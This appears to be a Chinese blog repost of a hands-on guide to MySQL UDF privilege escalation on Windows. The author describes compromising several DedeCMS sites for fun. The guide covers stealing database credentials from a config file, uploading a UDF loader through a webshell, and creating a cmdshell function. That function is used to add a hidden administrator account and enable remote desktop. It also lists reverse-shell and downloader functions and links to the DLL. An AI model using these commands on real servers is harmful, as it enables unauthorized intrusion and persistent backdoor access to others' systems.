Mysql UDF提权
来源:互联网 发布:南昌大学软件学院邮编 编辑:程序博客网 时间:2024/05/13 06:17
今天闲的无聊DEDECMS搞了几个站。没事做提权吧。真的很久很久没有玩这东西了。
测试经典的UDF.dll提权一次性成功。
dedecms的账号和密码都保存在data/common.inc.php里面;下载common.inc.php查看账号密码你懂的。
首先用菜刀上传UDF.php;然后输入账号密码啥的也就连接成功了。
作者:
二、适用场合:1.目标系统是Windows(Win2000,XP,Win2003);2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语)。
第一步:将PHP文件上传到目标机上,填入你的MYSQL账号经行连接。
第二步:连接成功后,导出DLL文件,导出时请勿必注意导出路径(一般情况下对任何目录可写,无需考虑权限问题),对于MYSQL5.0以上版本,你必须将DLL导出到目标机器的系统目录(win 或 system32),否则在下一步操作中你会看到"No paths allowed for shared library"错误。
第三步:使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一) returns string soname '导出的DLL路径';对于MYSQL5.0以上版本,语句中的DLL不允许带全路径,如果你在第二步中已将DLL导出到系统目录,那么你就可以省略路径而使命令正常执行,否则你将会看到"Can't open shared library"错误,这时你必须将DLL重新导出到系统目录。
如果执行:
create function cmdshell returns string soname 'udf.dll'
出现:
数据库查讯出错,请检查SQL语句create function cmdshell returns string soname 'udf.dll'的语法是否正确。Function 'cmdshell' already exists
解释:
在有些版本的MYSQL上确实会发生这事.这是一个MYSQL的BUG,官方描述如下:
http://bugs.mysql.com/bug.php?id=15439
Description:
Under some circumstances, case handling of UDF names leads to strange behaviour.
This can result in a situation where the function can be successfully dropped
without actually removing the corresponding entry from the mysql.func table.
…………
从MYSQL 5.1版本开始必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数,并且该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。
OK,问题解决了!准备添加用户:select cmdshell('net user black black /add');
--------------------------------
解决这个问题你可以输入手工输入
delete from mysql.func where name='cmdshell'
第四步:正确创建功能函数后,你就可以用SQL语句来使用这些功能了。语法:select 创建的函数名('参数列表'); 每个函数有不同的参数,你可以使用select 创建的函数名('help');来获得指定函数的参数列表信息。
四、功能函数说明:
cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 说明与帮助函数;
也可一次执行一下语句:
create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:web3389.reg');
drop function cmdshell;
select cmdshell('netstat -an');
最后用 iis_user 123!@#abcABC登录就行了。
UDF下载地址:http://dl.dbank.com/c03histe6b
- Mysql UDF提权
- MySQL扩展接口UDF提权
- Mysql udf提权(Linux平台)
- Mysql UDF
- Windows下利用MySQL UDF提权
- mysql udf.dll(UDF)漏洞修补
- For Linux Mysql Udf
- MySQL UDF同步 memcached
- MySQL的UDF
- MySQL:如何编写UDF
- mysql UDF regex_replace
- MySQL:如何编写UDF
- mysql-udf-http问题
- MySQL UDF调试方式debugview
- 教你写MySQL UDF
- gearman、gearman-mysql-udf安装
- MySQL 利用UDF执行命令
- Pentest - mysql udf privilege escalation
- Oracle同比、环比和累计
- 2012年3月29日学习记录
- 2012年3月30日学习记录
- hibernate各种主键的区别
- 2012年3月31日学习记录
- Mysql UDF提权
- 10个流行的安全评估工具
- 2012年4月1-2日学习记录
- KMP算法的next数组
- 2012年4月3日学习记录
- linux开机后首先加载的几个文件介绍
- 2012年4月6日学习记录
- eclipse快捷键
- 常用的正则表达式